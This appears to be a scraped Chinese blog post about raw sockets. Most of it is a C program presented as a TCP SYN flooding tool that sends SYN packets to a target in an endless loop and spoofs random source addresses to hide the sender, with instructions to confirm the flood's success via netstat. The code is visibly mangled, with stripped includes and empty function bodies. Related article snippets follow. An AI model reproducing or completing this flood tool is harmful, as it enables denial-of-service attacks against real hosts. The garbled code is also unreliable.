原始套接字

2021-09-29 17:44:38 字數 1899 閱讀 2574

利用原始套接字實現乙個tcp syn flooding 程式:

要求:客戶端不斷向攻擊端傳送syn連線請求;

客戶端在傳送資料時,通過源位址隨機位址的方式隱藏自己的ip位址;

檢驗:在shell下通過「netstat -tn」檢查syn_recv連線數檢驗自己的程式是否成功

**好像有點問題。

不能偽造mac位址。

#include #include #include #include #include #include #include #include #include #include #include #include char dst_ip[20];

int dst_port;

struct psdheader ;

/* 傳送syn包函式

* 填寫ip頭部,tcp頭部

* tcp偽頭部僅用於校驗和的計算

*/void init_header(struct iphdr *ip, struct tcphdr *tcp, struct psdheader *pseudoheader)

unsigned short check_sum(unsigned short *addr, int len)

if (nleft == 1)

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return answer;

}int main(int argc, char **ar**)

dst_port = atoi(ar**[2]);

memset(dst_ip,0,sizeof(dst_ip));

strncpy( dst_ip, ar**[1], strlen(ar**[1]) );

int sockfd = socket(af_inet, sock_raw, ipproto_tcp);

if (sockfd == -1)

const int on = 1;

if(setsockopt(sockfd, ipproto_ip, ip_hdrincl, &on, sizeof(on)) < 0)

struct sockaddr_in addr;

bzero(&addr, sizeof(addr));

addr.sin_family = af_inet;

addr.sin_port = htons(dst_port);

addr.sin_addr.s_addr = inet_addr(ar**[1]);

char buf[100], sendbuf[100];

int len = sizeof(struct iphdr) + sizeof(struct tcphdr);

struct iphdr ip; //ip頭部

struct tcphdr tcp; //tcp頭部

struct psdheader pseudoheader; //tcp偽頭部

bzero(&ip,sizeof(struct iphdr));

bzero(&tcp,sizeof(struct tcphdr));

bzero(&pseudoheader,sizeof(struct psdheader));

init_header(&ip, &tcp, &pseudoheader);

while(1)

printf("%d : %d syn flooding\n",ip.saddr,tcp.source); }

}

核心會自動計算ip的校驗和,不會計算tcp的校驗和。

網路包幾種格式ethhdr、ether_header、iphdr、tcphdr、udphdr - fangxin205的專欄 - csdn部落格

原始套接字

資料出處 實際上,我們常用的網路程式設計都是在應用層的報文的收發操作,也就是大多數程式設計師接觸到的流式套接字 sock stream 和資料報式套接字 sock dgram 而這些資料報都是由系統提供的協議棧實現,使用者只需要填充應用層報文即可,由系統完成底層報文頭的填充並傳送。然而在某些情況下需...

原始套接字

參考1 原始套接字能幹什麼?參考2 原始套接字抓包實踐 參考3 各層頭結構 通過原始套接字,我們可以抓取所有傳送到本機的ip包 包括ip頭和tcp udp icmp包頭 也可以抓取所有本機收到的幀 包括資料鏈路層協議頭 普通的套接字無法處理icmp igmp等網路報文,而sock raw可以。利用原...

原始套接字

用於tcp通訊的流式套接字 用於udp通訊報式套接字 特點是 我們傳送資料報只需要組應用層的資料報文,收到的資料報也只有應用層的資料 也就是說明,鏈路層,網路層,傳輸層的資料是由底層協議棧自動幫我們組的 如果想要自己從鏈路層,網路層,傳輸層到應用層組乙個資料報,這個時候需要使用原始套接字 原始套接字...